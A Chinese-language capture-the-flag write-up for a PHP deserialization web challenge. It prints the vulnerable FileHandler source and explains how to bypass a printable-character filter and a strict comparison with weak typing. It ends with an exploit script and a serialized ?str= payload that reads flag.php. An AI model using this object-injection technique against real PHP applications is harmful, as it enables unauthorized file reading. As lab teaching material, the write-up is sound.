我唯一可以写出来的web题,所以身为菜鸡的我就过来更新一篇wp了
打开一看一长串代码那就开始审计吧
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {当op为1时执行write方法
$this->write();
} else if($this->op == "2") {当op为2时执行read方法
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {//声明了写方法,并对其写入长度进行了限制
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {//声明read方法
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//注意这里执行的东西,这里我们要用到,因为要把flag.php放在这里执行
}
return $res;
}
private function output($s) {//引入$s参数
echo "[Result]: <br>";//并让其输出
echo $s;
}
function __destruct() {//通过这个方法试op指向2和1
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)//如果i的长度小于s
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//并且第一个字符的ascii码大于等于32小于125,就正确
return true;
}
if(isset($_GET{'str'})) { //传一个str参数
$str = (string)$_GET['str'];//将str强制转成str型
if(is_valid($str)) {//如果通过is_valid方法的验证
$obj = unserialize($str);//就将str反序列化出来
}
}
所以最终思路就是构造一串序列化的数组,让它传入到index.php文件中让在绕过各种过滤后,从而得到flag。
其中需要注意
is_valid()函数,因为protected类型的属性的序列化字符串包含不可见字符\00,会被is_valid()函数给ban掉。
php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了.
另外就是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === "2"就会设置$this->op为"1",而"1"是不能调用read()来文件读取的。可以发现:
__destruct()方法内使用了严格相等$this->op === "2"
process()方法内使用了不严格相等else if ($this->op == "2")
所以这里使用弱类型2 == "2"绕过即可。
以构造exp
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "null";
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
var_dump(is_valid($b));
在本地环境下执行后得到对应的序列化数组
得到如下:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"null";};
将它放入到原网页中通过?str传入后得到flag